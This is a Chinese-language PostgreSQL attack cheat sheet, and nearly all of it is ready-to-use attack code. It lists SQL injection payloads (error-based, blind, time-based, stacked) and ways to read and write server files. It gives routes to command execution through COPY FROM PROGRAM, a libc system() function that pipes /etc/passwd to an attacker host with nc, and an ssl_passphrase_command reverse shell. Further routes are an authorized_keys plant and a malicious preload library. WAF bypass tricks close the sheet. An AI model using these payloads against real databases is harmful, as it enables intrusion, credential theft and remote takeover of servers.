0x00 Sqli
1、注释1
2--
/**/
2、查询版本1
SELECT version()
3、查询用户1
2
3
4
5SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
4、列用户1
SELECT usename FROM pg_user
5、列举用户hash1
SELECT usename, passwd FROM pg_shadow
6、列出数据库管理员帐户1
SELECT usename FROM pg_user WHERE usesuper IS TRUE
7、列举权限1
SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
8、列举当前db名称1
SELECT current_database()
9、列举db1
SELECT datname FROM pg_database
10、列举表名1
SELECT table_name FROM information_schema.tables
11、列举列名1
SELECT column_name FROM information_schema.columns WHERE table_name='data_table'
12、报错注入1
2
3
4
5
6
7
8
9,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC)
,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name='data_table'+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)
' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1
' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1
13、xml helper1
select query_to_xml('select * from pg_user',true,true,''); -- 可返回所有结果,可在报错注入中使用,另外query语句是个string就行,可进行拼接等方式进行waf绕过
1 | select database_to_xml(true,true,''); -- dump the current database to XML |
14、盲注1
2' and substr(version(),1,10) = 'PostgreSQL' and '1 -> OK
' and substr(version(),1,10) = 'PostgreXXX' and '1 -> KO
15、延时注入1
2AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
16、堆叠查询
使用;
进行语句分割1
http://host/vuln.php?id=injection';create table NotSoSecure (data varchar(200));--
17、查询机器ip1
2select inet_server_addr();
select inet_client_addr();
对于DB服务器的ip,除了上面的查询,还可以通过读取/proc/net/fib_trie
来获取。
0x01 文件读取
1 | select pg_ls_dir('./'); |
老版本的postgre不支持绝对路径。新版本支持default_role_read_server_files组的用户或者超级用户使用绝对路径进行文件读取。
利用copy进行文件读取:1
2
3
4CREATE TABLE temp(t TEXT);
COPY temp FROM '/etc/passwd';
SELECT query_to_xml('SELECT * FROM temp',true,true,'');
DROP TABLE IF EXISTS temp;
利用 large object 进行文件读取1
2
3SELECT lo_import('/etc/passwd'); -- will create a large object from the file and return the OID
SELECT lo_get(16420); -- use the OID returned from the above
SELECT * from pg_largeobject; -- or just get all the large objects and their data
获取OID方式1
2
3SELECT loid from pg_largeobject ORDER BY loid desc limit 1 OFFSET 0
select CAST((select loid||$$|$$ FROM pg_largeobject ORDER BY loid desc limit 1 OFFSET 0) as int) --报错注入使用
select CAST((select oid||$$|$$ FROM pg_largeobject_metadata ORDER BY oid desc limit 1 OFFSET 0) as int) --报错注入使用
删除OID1
SELECT lo_unlink(OID) ;
0x02 文件写入
1 | CREATE TABLE pentestlab (t TEXT); |
1 | SELECT lo_from_bytea(43210, 'your file data goes in here'); -- create a large object with OID 43210 and some data |
OID可以自己随便指定一个,lo_put 为追加文件。
0x03 命令执行
1、 CVE-2019–9193
可以直连db
或者执行多语句
的时候。
拿回显:1
2
3
4
5DROP TABLE IF EXISTS cmd_exec; -- [Optional] Drop the table you want to use if it already exists
CREATE TABLE cmd_exec(cmd_output text); -- Create the table you want to hold the command output
COPY cmd_exec FROM PROGRAM 'id'; -- Run the system command via the COPY FROM PROGRAM function
SELECT * FROM cmd_exec; -- [Optional] View the results
DROP TABLE IF EXISTS cmd_exec; -- [Optional] Remove the table
只执行1
COPY (select 1) TO PROGRAM 'id';
2、Using libc.so.61
2CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
3、利用udfsqlmap udf
需要对应postgre版本。
1 | CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/xxx/cmd.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; |
4、Using Config file
多语句不能使用的情况下,可利用配置文件进行命令执行。
a、 PG version > 10
参考postgres-sqli,可利用 ssl_passphrase_command
进行RCE。
利用条件为,需要修改配置文件开启SSL1
ssl on
另外,需要私钥配置一个密码,给私钥加密码可以利用openssl:1
openssl rsa -aes256 -in private.key -out private_passphrase.key
利用配置为:1
2
3
4
5ssl = on
ssl_cert_file = '/etc/ssl/certs/ssl-cert-snakeoil.pem'
ssl_key_file = '/var/lib/postgresql/11/main/PG_VERSION'
ssl_passphrase_command_supports_reload = on
ssl_passphrase_command = 'bash -c "test -p /dev/shm/pipe || mkfifo /dev/shm/pipe; nc 192.168.122.1 8000 < /dev/shm/pipe | /bin/bash > /dev/shm/pipe & echo passphrase; exit 0"'
其中ssl_cert_file
为证书文件,如果没有,可自己上传到/tmp
路径进行引用,ssl_key_file
为带密码
的私钥文件,由于此文件需要权限为0600
,所以可对PG的PG_VERSION进行覆盖,PG_VERSION路径与配置文件路径相同。ssl_passphrase_command
可修改为要执行的命令,其中echo passphrase
的 passphrase
为私钥设置的密码。
具体操作为,获取pg配置路径:1
select setting from pg_settings where name='config_file'
如果配置文件路径为
etc/postgresql/11/main/postgresql.conf'
, 则要覆盖的PG_VERSION
路径为/var/lib/postgresql/11/main/PG_VERSION
通过文件读取的方式读取配置文件查看是否配置了SSL,如果已配置了证书及key,需要读取其key文件,并对其key文件设置密码,如果未配置,可自己本地生成并通过文件写入的方式进行写入。注意:一定要把原配置文件进行备份!!! 方便攻击完成之后进行恢复!!!1
2
3
4
5
6
7
8
9
10
11简要过程:
1、读取配置文件;
2、如未配置证书文件,则本地生成一个证书文件;
3、给对应证书的秘钥文件添加密码;
4、修改配置文件,添加上面的SSL利用配置;
5、将修改好的证书、秘钥文件写入服务器;
6、将修改的配置文件进行配置文件替换;
7、触发攻击;
触发攻击方式为:
SELECT pg_reload_conf()
8、恢复配置文件。
b、All version
低版本的PG没有ssl_passphrase_command
,查看文档发现可以使用archive_command
,但是要求数据库服务重启!!
利用方式为添加以下配置:1
2
3archive_mode = on
archive_command = "touch /tmp/xxxx"
archive_timeout = 10
其中archive_timeout
表示每十秒执行一次,archive_command 为要执行的命令。
修改配置文件以后,在PG服务重启后,会执行archive_command配置的命令。
另外,利用写文件可以写authorized_keys
, 但是如果没有.ssh
目录的时候,可以利用配置文件进行目录创建(这里需要PG已经开机了LOG功能,否则依然需要重启PG服务)。具体操作为:
修改配置文件,修改log_directory为.ssh
目录。1
2
3
4
5
6
7log_destination = 'csvlog'
log_directory = '/home/postgresql/.ssh/'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
log_rotation_age = '1d'
log_rotation_size = '512MB'
log_timezone = 'Asia/Hong_Kong'
logging_collector = 'on'
替换conf文件并执行:1
SELECT pg_reload_conf()
之后再写入authorized_keys
即可。
c、 All version
利用session_preload_libraries。
首先需要知道服务器端PG的版本,然后根据其版本来编译利用库。利用代码:
exp.c1
2
3
4
5
6
7
8
9
10
PG_MODULE_MAGIC;
void __attribute__((constructor)) pwn(void){
system("touch /tmp/bbbbbbbb");
}
可在对应系统
上下载对应版本
的postgresql-server-dev-x
,然后使用以下命令进行编译:1
gcc exp.c -I `pg_config --includedir-server` -fPIC -shared -o exp.so
之后将exp.so上传至数据库服务器。
修改配置文件添加:1
session_preload_libraries='/tmp/exp.so'
覆盖配置文件,并进行reload。1
SELECT pg_reload_conf()
当有新连接产生时,会触发加载.so达到RCE。
必须保证.so没问题(版本对应),否则会导致db挂掉。
0x04 Bypass
使用CHR1
SELECT CHR(65)||CHR(66)||CHR(67);
使用美元符号1
2SELECT $$This is a string$$
SELECT $TAG$This is another string$TAG$
美元符可替换引号。